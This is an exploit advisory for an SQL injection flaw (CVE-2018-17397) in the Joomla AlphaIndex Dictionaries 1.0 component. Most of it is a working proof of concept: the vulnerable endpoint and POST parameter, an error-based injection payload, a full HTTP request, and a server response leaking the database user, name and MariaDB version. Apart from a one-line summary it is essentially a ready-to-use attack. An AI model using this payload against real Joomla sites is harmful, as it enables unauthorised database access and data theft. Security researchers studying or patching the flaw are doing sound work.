Joomla! AlphaIndex Dictionaries 1.0 SQL Injection

Joomla! AlphaIndex Dictionaries component version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | 9237ee594c8f252785c52e5454208ebb

# # # # #
# Exploit Title: Joomla! Component AlphaIndex Dictionaries 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-09-24
# Vendor Homepage: http://multiplanet.gr/
# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/alphaindex-dictionaries/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-17397
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# POC:
#
# 1)
# http://localhost/[PATH]/index.php?option=com_aindexdictionaries&task=getArticlesPreview
#
# Parameter: letter=[SQL] (POST)
#
# Payload: " AND (SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(66=66 ,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VerAyari
#
# POST /alphaindex-dictionaries/index.php?option=com_aindexdictionaries&task=getArticlesPreview HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Cookie: 4d2a26b1a22184c44838ed58a1427b57=a5ebafd40988be7421846f2e1a496b61
# Connection: keep-alive
# Upgrade-Insecure-Requests: 1
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 200
#
# letter=" AND (SELECT 66 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(66=66 ,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VerAyari
# HTTP/1.1 500 Duplicate entry '[email protected] : multipla_dictionary : 10.2.17-MariaDB' for key 'group_key' SQL=SELECT .............
# Server: nginx admin
# Date: Mon, 17 Sep 2018 16:15:28 GMT
# Content-Type: text/html; charset=utf-8
# Transfer-Encoding: chunked
# Connection: keep-alive
# Cache-Control: no-cache
# Pragma: no-cache
#
# # # #


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